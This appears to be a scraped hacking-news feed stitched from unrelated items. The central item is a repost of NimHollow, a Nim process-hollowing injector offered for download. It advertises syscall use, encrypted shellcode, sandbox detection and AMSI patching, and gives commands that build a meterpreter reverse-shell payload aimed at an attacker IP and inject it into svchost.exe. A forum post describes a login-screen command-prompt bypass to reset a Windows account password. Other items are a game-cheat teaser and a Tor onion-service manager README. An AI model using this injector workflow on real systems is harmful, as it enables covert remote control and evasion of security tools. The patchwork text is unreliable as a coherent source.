Credits@ajpc500 for the NimlineWhispers (https://github.com/ajpc500/NimlineWhispers) project.@byt3bl33d3r for the OffensiveNim (https://github.com/byt3bl33d3r/OffensiveNim/) repository.@S3cur3Th1sSh1t and @chvancooten for Nim code (https://github.com/S3cur3Th1sSh1t/Creds/tree/master/nim) snippets (https://github.com/byt3bl33d3r/OffensiveNim/issues/16).

Download NimHollow (https://github.com/snovvcrash/NimHollow)

hacking: security in practice
Working around a domain

Not sure if this is the right place to post about this, but I’ve been trying to reset a password on an old ThinkPad X220 (Windows 7 Professional). I completed a hard shutdown and followed some steps to basically access the command prompt on the login screen, which works.

I used the command prompt to view user accounts (net user) and changed the password for a Guest account (net user Guest *) as I do not want to change or lose anything on the current account. When I tried logging in with the new details, it states “there are currently no logon servers available to service the login request”. I think this is due to the computer still being under an old domain. Is there a way to work around this?

submitted by /u/yhshi26
[link] [comments]

KitPloit - PenTest Tools!
NimHollow - Nim Implementation Of Process Hollowing Using Syscalls (PoC)

https://blogger.googleusercontent.com/img/a/AVvXsEju-a7Ffp-HSfDClLFXpy73drXnyiiO4oKN8CtdQlwSht6ORyEecUPXSPMfBFmJLoMIFqDtj0QffoLiMp4DPQx3JjkjKouDwJ90DAyJvG90CCzfpBJSrkIG4hElY_scMAUY-8h6tjbBpUJH78IsaQAoMMNzm4gua75f85dsLNIFJ_o6cYGbDp4PVAOiJQ=w640-h230 Playing around with the Process Hollowing technique using Nim.

Features:

* Direct syscalls for triggering Windows Native API functions with NimlineWhispers.
* Shellcode encryption/decryption with AES in CTR mode.
* Simple sandbox detection methods from the OSEP course by @offensive-security.
* AMSI patching with @rasta-mouse's method is also inside (uncomment it for your needs). UsageInstallation: ~$ git clone --recurse-submodules https://github.com/snovvcrash/NimHollow && cd NimHollow
~$ nimble install winim nimcrypto
~$ pip3 install -r requirements.txt
~$ sudo apt install upx -yExample:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.13.13.37 LPORT=31337 EXITFUNC=thread -f raw -o shellcode.bin ~$ python3 NimHollow.py shellcode.bin -i 'C:\Windows\System32\svchost.exe' -o injector --upx --rm ~$ file injector.exe injector.exe: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows ~$ sudo msfconsole -qr msf.rc ">~$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.13.13.37 LPORT=31337 EXITFUNC=thread -f raw -o shellcode.bin
~$ python3 NimHollow.py shellcode.bin -i 'C:\Windows\System32\svchost.exe' -o injector --upx --rm
~$ file injector.exe
injector.exe: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
~$ sudo msfconsole -qr msf.rc

Help: usage: NimHollow.py [-h] [-i IMAGE] [-o OUTPUT] [--debug] [--upx] [--rm] shellcode_bin

positional arguments:
shellcode_bin path to the raw shellcode file

optional arguments:
-h, --help show this help message and exit
-i IMAGE, --image IMAGE
process image to hollow (default "C:\Windows\System32\svchost.exe")
-o OUTPUT, --output OUTPUT
output filename
--debug do not strip debug messages from Nim binary
--upx compress Nim binary with upx
--rm remove Nim files after compiling the binary Process Hollowing in Slides1. Create the target process (e.g., svchost.exe) in a suspended state. https://blogger.googleusercontent.com/img/a/AVvXsEju-a7Ffp-HSfDClLFXpy73drXnyiiO4oKN8CtdQlwSht6ORyEecUPXSPMfBFmJLoMIFqDtj0QffoLiMp4DPQx3JjkjKouDwJ90DAyJvG90CCzfpBJSrkIG4hElY_scMAUY-8h6tjbBpUJH78IsaQAoMMNzm4gua75f85dsLNIFJ_o6cYGbDp4PVAOiJQ=w640-h230 2. Query created process to extract its base address pointer from PEB (Process Environment Block). https://blogger.googleusercontent.com/img/a/AVvXsEjULkJVlq024VJB9IrUjDKpBt-OjBI8UKoiZ6Fz1sOvSWroxv0yxyel0TzmvJ8ZCWpYdGaawnDnTAPlO0D7pbBZteKp9olJFM4yMhtsBh3-q2EFjwWDsONIbpiQS4kFRPO5u6oufk8FdQmAsdl9xLCMKa40th5MPe4e4YjOJC_V-x2ZrENQm9DahrPsyg=w640-h230 3. Read 8 bytes of memory (for 64-bit architecture) pointed by the image base address pointer in order to get the actual value of the image base address. https://blogger.googleusercontent.com/img/a/AVvXsEj4YjVTyYVc71-U7krLKyfyAW8wNXTLqUnvMC_79OGFASyREFmk7L2oVYmrc6ETaMdL5kOcvTb2pA4O4Y90iKgMWUfr3lsAYc_HgIoqX3ooPMsAhXbbkdHeL9xJkGkPbPmAEJePEXkpHw7Fm74xzlWs6TH-Cvc_urgcS05Qop1rSx6Zy9_Iw3rnOP1eRg=w640-h230 4. Read 0x200 bytes of the loaded EXE image and parse PE structure to get the EntryPoint address. https://blogger.googleusercontent.com/img/a/AVvXsEiDx5xt86_mineWvzVlNewT9msVRqwTRP2cg7gYHU5WGjF6tABwOt3vQTC_2HP5g3rdm200941lNtYrEc_qpGDzL5TPqEXXU7tRGyXVRVsM-0906r5VSc53SFQSyzoDJifk9M6XJA0QkOL-IuzNmP8MaSnpR5nm4NtDMsNO9usTDzbrVwjywxgdUiqzCA=w640-h324 5. Write the shellcode to the EntryPoint address and resume thread execution. https://blogger.googleusercontent.com[...]

/img/a/AVvXsEg3xYaOEl_N1vVpYmhcvI2QPmXhdZT5UNA3KPlXbRfnGt4ArvO5rNg8w0lvQZi7kGE11MF4APxi0D9IVWEQ4sRPFp-c2Qud2qyU5bN7817jXzLZGSkJD7RAkqUXRkgc5kx5f4UCkh0uVO_O_PCTrqAsd6Cc-lrJ6-0K13Pw3q4S1zvDWkLixIsgEmr96A=w640-h230 Credits* @ajpc500 for the NimlineWhispers project.
* @byt3bl33d3r for the OffensiveNim repository.
* @S3cur3Th1sSh1t and @chvancooten for Nim code snippets. Download NimHollow

Hacking on Medium
Investigating IoT Security

https://cdn-images-1.medium.com/max/1898/0*pKGVnpNzEkQd1odK.png
Published May 28, 2021

Continue reading on Medium »

Hacking on Medium
PwnLab VM Walkthrough

https://cdn-images-1.medium.com/max/699/0*I-GtAJk1dI-vrpfE.png
Makineyi indirebilirsiniz.

Continue reading on Medium »

Hacking on Medium
Log4Shell — You should know about it.

https://cdn-images-1.medium.com/max/1198/1*hYnXRvqK39TakQ4NUIA3fA.png
Hello everyone!

Continue reading on Medium »

Hacking on Medium
Universal Esp for Il2cpp Unity Games

https://cdn-images-1.medium.com/max/1924/1*a3FZGF57jS8S-ZXxkpQQ9g.png
In this writeup i will be showing you how to make an esp on any unity games that is il2cpp compiled. This writeup is inspired by…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Onionservice - Manage Your Onion Services Via CLI Or TUI On Unix-like Operating System With A POSIX Compliant Shell
http://www.kitploit.com/2021/12/onionservice-manage-your-onion-services.html

Feature-rich Onion Service manager for UNIX-like operating systems written in POSIX conformant shellscriptA collection of Onion Services (https://www.kitploit.com/search/label/Onion%20Services) features implemented for Unix-like systems following the Portable Operating System Interface standard.WARNING: do not trust this repo yet, backup your hs keys in another location. This project has not been released and should be considered for development only.Quick link to this repository: https://git.io/onionservice
IntroductionImages

EchosystemOnion Services are the Hidden Services (https://www.kitploit.com/search/label/Hidden%20Services) of Tor which use onion routing as its base for stablishing private connections. They offer (https://community.torproject.org/onion-services/overview/):Location hiding - IP address aren't used, so your location is protected.End-to-end authentication (https://www.kitploit.com/search/label/Authentication) - Only the owner of the hs secret key can host the same onion, so no impersonation is possible, no man-in-the-middle.End-to-end encryption - Traffic is encrypted from the client to the onion host, no need to trust CAs (https://en.wikipedia.org/wiki/Certificate_authority) which are a fallible model (https://www.whonix.org/wiki/Warning#The_Fallible_Certificate_Authority_Model).NAT punching - On a firewalled network, no need to open portsFor a deeper understanding, read the Rendezvous Specification (https://gitweb.torproject.org/torspec.git/tree/rend-spec-v3.txt) and Tor design (https://svn-archive.torproject.org/svn/projects/design-paper/tor-design.pdf).Onion Routing tries to solve most of these problems but it is still centralized by the Directory Authorities (https://metrics.torproject.org/rs.html#search/flag:authority), and referencing Matt Traudt's blog post (https://matt.traudt.xyz/posts/Debunking:_OSINT_Analysis_of_the_TOR_Foundation/#index4h2): replacing it for something more distributed is not a trivial task (https://www.freehaven.net/anonbib/#wpes09-dht-attack).On the Tor echosystem, from TPO metrics (https://metrics.torproject.org/), comparing only Free and Open Source Operating Systems, Linux dominates on relays by platform (https://metrics.torproject.org/platforms.html) and Tor Browser downloads by platform (https://metrics.torproject.org/webstats-tb-platform.html) over BSD. Data regarding which operating system the onion service operator can not be easily acquired for obvious reasons. That was on the network level, but know on the user system, even if one chooses a Free and Open Source Operating System, GNU/Linux dominates a big share over *BSD, having a huge impact on the main software used for the kernel (Linux), shell (bash), service manager (systemd).GoalThe goal of this project is:facilitates onion service management, from activating a service to adding client authorization to it, giving the full capabilities of editing files manually would have but with less tipying.show the that managing the onion service is much more than just using a webserver with your pages.distribution, from the source code level (FOSS) to the effect it takes when it allows anyone to run the code on any operating system, shell or service manager. Mitigation from a single point of failureDescentralization from a single point of failure:Kernel from predominant Linux to also BSD.Shell from predominant bash to also any POSIX shell such as ksh, (y,d)ash and zsh (emulating sh).Service manager from predominant systemd to also OpenRC.Editing the tor configuration file (torrc) is not difficult, but automation solves problem of misconfiguration (https://www.kitploit.com/search/label/Misconfiguration) and having:less time spentcomplete uniformitygraphical interface to help newbiesFeaturesEnable service - Create directory if not existent (HiddenServiceDir), select onion version (HiddenServiceVersion), custom socket type being unix or tcp, up to two virtual ports, up to two targets (HiddenServicePort).Disable service - Remove service configuration from the torrc, the service will not be acessible anymore, but you can enable it again any time you want. Optionally purge the service, deleting its configuration and directory, which will delete its keys permanently.Renew service address - Focused on private onion services, if you ever leak its address, you can change its hostname, beware all of your authorized clients will be disconnected and the service keys will be permanently deleted.Credentials - Show hostname, clients, torrc block, qrencoded

hostname.Onion authentication - For v3 onion services only. This depends on client and server side configuration and works with a key pair, the client holds the private key part either generate by him (more safe) or given by the service operator and the onion service operator holds the public part. If any if Server - Generate key pair or add public part, list client names and their public keys from /authorized_clients/.auth. If any client is configured, the service will not be acessible without authentication.Client - Generate key pair or add public part, list your /.auth_private.Onion-Location - For public onion services You can redirect your plainnet users to your onion service with this guide for nginx, apache2 and html header attributes.Backup - Better be safe. Create - Backup of your torrc lines containing hidden service configuration, all of your directories of HiddenServiceDir and ClientOnionAuthDir. Guide to export the backup to a remote host with scp.Integrate - Integrate hidden serivces lines configuration from torrc and the directories HiddenServiceDir and ClientOnionAuthDir to your current system. This option should be used after creating a backup and importing to the current host. Guide to import backup to the current host with scp.OpSec - Operation Security Vanguards - This addon protects against guard discovery and related traffic analysis (https://www.kitploit.com/search/label/Traffic%20Analysis) attacks. A guard discovery attack enables an adversary to determine the guard node(s) that are in use by a Tor client and/or Tor onion service. Once the guard node is known, traffic analysis attacks that can deanonymize an onion service (or onion service user) become easier.Unix socket - Support for enabling an onion service over unix socket to avoid localhost bypasses.Web server - Serve files with your hidden service using Nginx or Apache2 web server.Usability - There are two dialog boxes compatible with the project, dialog and whiptail.Bulk - Some commands can be bulked with all-clients, all-services, [SERV1,SERV2,...] and [CLIENT1,CLIENT2,...], the command will loop the variables and apply the combination.Optional - Some commands are optional so less typing. Also they may behave differently depending on how much information was given to be executed and that is expected. They are specified inside <> (e.g. )Fool-proof - The script tries its best to filter invalid commands and incorrect syntax. The commands are not difficult but at first sight may scare you. Don't worry, if it is invalid, it won't run to avoid tor daemon failing to reload because of invalid configuration. If an invalid command runs, please open an issue.InstructionsSetupThree easy steps to fully this project:Clone the repositorygit clone https://github.com/nyxnor/onionservice.git
cd onionserviceSet custom varsEdit the required variables to fit your system inside .onionrc following the same format from the already defined variables. Note that no variable that refers to a folder end with a trailing "/". Keep it that way, else it will break. The packages can have different names depending on the operating system, modify accordingly.Set the default editor of your choice, else it will always fallback to Vi (https://en.wikipedia.org/wiki/Vi). This is an example using nano, but could be any other editor:> ~/."${SHELL##*/}"rc && . ~/."${SHELL##*/}"rc '>printf "\nexport EDITOR=\"nano\"\n" >> ~/."${SHELL##*/}"rc && . ~/."${SHELL##*/}"rcOpen the mentioned configuration file:"${EDITOR:-vi}" .onionrc## [ EDIT REQUIRED ] (IF NOT DEBIAN)
tor_user="debian-tor" ## [debian-tor|tor]
tor_service="tor@default.service" ## [tor@default.service|tor.service]
pkg_mngr_install="sudo apt install -y" ## always use the 'yes' flag to be non interactive
web_server="nginx" ## [nginx|apache2]
dialog_box="dialog" ## [dialog|whiptail]